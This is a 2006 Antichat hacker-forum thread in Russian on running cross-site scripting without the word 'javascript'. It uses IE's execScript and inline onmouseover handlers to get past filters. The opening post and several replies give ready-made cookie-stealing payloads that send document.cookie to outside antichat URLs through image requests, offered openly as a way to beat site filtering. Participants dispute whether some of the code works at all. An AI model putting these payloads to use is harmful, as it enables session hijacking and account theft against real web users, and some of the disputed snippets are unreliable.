Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Проводим XSS без javascript (https://forum.antichat.xyz/showthread.php?t=13949)

Xex 04.02.2006 06:32

Проводим XSS без javascript
 
Эту писанину трудно назвать статьей, она скоре является дополнением к написанному Algol'ом по XSS.
Думаю многим из вас приходилось встречать чаты/форумы/др. в которых присутвует уязвимость XSS, но провести ее сложно, по причине фильтрации магических слов javascript и vbscript, и модификации типа JaVasCriPt, javascript(с пробелами или табуляцией в начале),&#xx... и прочее не помогает. Так вот убедившись, что слово javascript наглухо фильтруется, есть возможность попробовать альтернативу execScript(это метод объекта window). Как написано в документации execScript - "Выполняет заданный сценарий".

Рассмотрим на простом примере:

Классический случай:
Код:

<font color=red onmouseover=javascript:alert()>алерт работает!</font>
Используем execScript:
Код:

<font color=red onmouseover=window.execScript(alert())>И тут работает!</font>
Эффект тот же=))

Но, видимо, популярность такого метода не такая высокая как у классического по причине есго кривости...изначально в документации синтаксис execScript выглядит так:window.execScript(выражение [,язык]), но в последних версиях IE execScript не поймет даже такую строку execScript("a=1;alert(a)"). Выяснено, что он категорически не любит пробелы кавычки и ряд других необходимых символов(например для угона кукисов).
Попробуйте:
Код:

<font color=red onmouseover=window.execScript(q="http://antichat.org/s/xex.gif?"+document.cookie)>не работает!</font>
Для решения первой проблемы(невозможность использовать несколько команд одновременно(execScript(a=1;alert(a))) мы используем следующую особенность:
Код:

<font color=red onmouseover=window.execScript(alert());window.execScript(alert())>Два алерта!</font>
т.е. через ; можем использовать несколько подряд идущих методов, что уже неплохо.
А для решения второй проблемы(его нелюбовь к кавычкам и прочим символам) используем такую замечательную вещь как функции, типа alert, eval, isNaN и возможно прочие. Из этих трех мне приглянулась isNaN. Назначение этих функций для нас не важно, вся фича в том, что эти функции неким магическим способом(кому надо сам разберется) позволяют нам творить невозможное=)
Смотрим:
Код:

<font color=red onmouseover=window.execScript(isNaN(q="http://antichat.org/s/we.gif?"+document.cookie));window.execScript(alert(q))>Получилось!</font>
Т.е. мы решили вторую проблему, таким образом мы создаем полноценную "куки-тырилку", несмотря на паранойю разработчика=))
P.S.Возможно это уже где-то описывалось, не встречал.
P.S.S.За всеми вопросами пишем сюда...

lexa 04.02.2006 06:42

прикольно ! тоже самое можно сделать и на vbs


cool

A110ut 04.02.2006 07:50

гыг.. ша испытаем в полевых условиях...
--------------------------------------
не уверен, но кажися я подоное где-то уже видел :D

K[o]S 04.02.2006 10:50

А нах этот гемор.
<font color=red onmouseover=javascript:alert()>алерт работает!</font>
Можно просто
<font color=red onmouseover=alert()>алерт работает!</font>
потому что события и так обрабтываются javascript`oм.

Victor 04.02.2006 11:16

Автор спасибо тебе большое! Я давно так не смеялся!

Во-первых код который ты дал для воровки кук работать не будет, будет только алерт твоего скрипта воровки кук лол.

Дальше, научись писать ок? тогда все у тебя будет работать.

Алерт во всех браузерах.

Код HTML:

<font color=red onmouseover=window.execScript("a=1;alert(a)")>И тут работает!</font>
Воровка кук во всех браузерах.


Код HTML:

<font color=red onmouseover=window.execScript("img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;")>Получилось!</font>
А так уже все? "Прикрыли" да?

Код HTML:

<font color=red onmouseover=a=1;alert(a)>И тут работает!</font>

Код HTML:

<font color=red onmouseover=img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;>Получилось!</font>

Или ты просто написал для выкрутасывания?

Ну можно тогда повыкрутасыватся и вот так воть,

Код HTML:

<font color=red onmouseover=img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;eval(img);>Получилось!</font>

Во-общем пиши побольше статей, в разделе юмор качественных таких вот статейяк которые являются статейками продолжениями статей Алгола - мало.

Xex 04.02.2006 12:08

To Victor: ошибаешься, все что ты написал, должен знать любой...я считаю это базисом и не посчитал нужным расписывать...
P.S>процитируцй над чем ты смеялся...

Xex 04.02.2006 12:11

Цитата:

Сообщение от K[o]S
А нах этот гемор.
<font color=red onmouseover=javascript:alert()>алерт работает!</font>
Можно просто
<font color=red onmouseover=alert()>алерт работает!</font>
потому что события и так обрабтываются javascript`oм.

Это условности...повторюсь, кому надо тот код сам допишет, здесь только идея...

Victor 04.02.2006 12:39

Цитата:

Сообщение от Xex
To Victor: ошибаешься, все что ты написал, должен знать любой...я считаю это базисом и не посчитал нужным расписывать...
P.S>процитируцй над чем ты смеялся...

Над тем как ты пишешь свои коды которые не работают лол.

Код HTML:

<font color=red onmouseover=window.execScript(isNaN(q="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie));window.execScript(alert(q))>Получилось!</font>
Вот так допустим все что будет работать, так это алерт который будет орать

И не болие.



Цитата:

Эту писанину трудно назвать статьей, она скоре является дополнением к написанному Algol'ом по XSS.

Тут Я упал.



Цитата:

Но, видимо, популярность такого метода не такая высокая как у классического по причине есго кривости...

Имхо ну что ты мелешь....JavaScript это вообще протокол, execScript это метод переходить c одного языка на другой.

Цитата:

Выяснено, что он категорически не любит пробелы кавычки и ряд других необходимых символов(например для угона кукисов).

Да не он не любит, а ты не правильно пишешь.


Код HTML:

<font color=red onmouseover=window.execScript(q="http://antichat.org/s/xex.gif?"+document.cookie)>не работает!</font>

И почему это должно работать? О_О


Мда, короче мда, дальше цитировать думаю не стоит.

Xex 04.02.2006 12:59

Цитата:

Сообщение от Victor
Над тем как ты пишешь свои коды которые не работают лол..

Все тама работает, руки проверь...

Цитата:

Сообщение от Victor
Вот так допустим все что будет работать, так это алерт который будет орать
И не болие.

Рад за тебя, что ты алерт, от всегоотсального отличаешь....

Цитата:

Сообщение от Victor
....JavaScript это вообще протокол, execScript это метод переходить c одного языка на другой.

И что мне мешает использовать его нестандартно?

Цитата:

Сообщение от Victor
Да не он не любит, а ты не правильно пишешь.

И почему это должно работать? О_О

Бред...Желание до*б*атся...

To Victor:если хочется похамится пиши в пм, не засоряем...

Victor 04.02.2006 13:13

Цитата:

Сообщение от Xex
Все тама работает, руки проверь...

Рад за тебя, что ты алерт, от всегоотсального отличаешь....

И что мне мешает использовать его нестандартно?

Бред...Желание до*б*атся...

Мда.....у тебя код воровки кук не может работать и не работает. Проверь для начала. Во-первых по какому принципу он будет у тебя работать? Ты у кого статью спер признавайся нука быстро....


Цитата:

Рад за тебя, что ты алерт, от всегоотсального отличаешь....
Мда, все что Я говорил ты просто забыл и тему сменил.

У тебя алерт есть, но кук воровки быть не может в твоем коде.

Цитата:

И что мне мешает использовать его нестандартно?
Как понять нестандартно? о_О

Цитата:

Так вот убедившись, что слово javascript наглухо фильтруется, есть возможность попробовать альтернативу execScript
Ответ,

Цитата:

Имхо ну что ты мелешь....JavaScript это вообще протокол, execScript это метод переходить c одного языка на другой.
Слова выбирай и кончай курить.

Цитата:

Бред...Желание до*б*атся...
Вот Я тоже подумал когда статью твою прочел. Еще на меня смех напал.



Короче не смеши гусей, Я написал тебе готовые коды как правильно писать надо, что ты сейчас хочешь выяснить Я не понимаю.....

Статья = бред.

Код воровки кук у тебя не работает и не может работать.

Цитата:

Эту писанину трудно назвать статьей, она скоре является дополнением к написанному Algol'ом по XSS.
Это Я сую в свою подпись.


Время: 21:23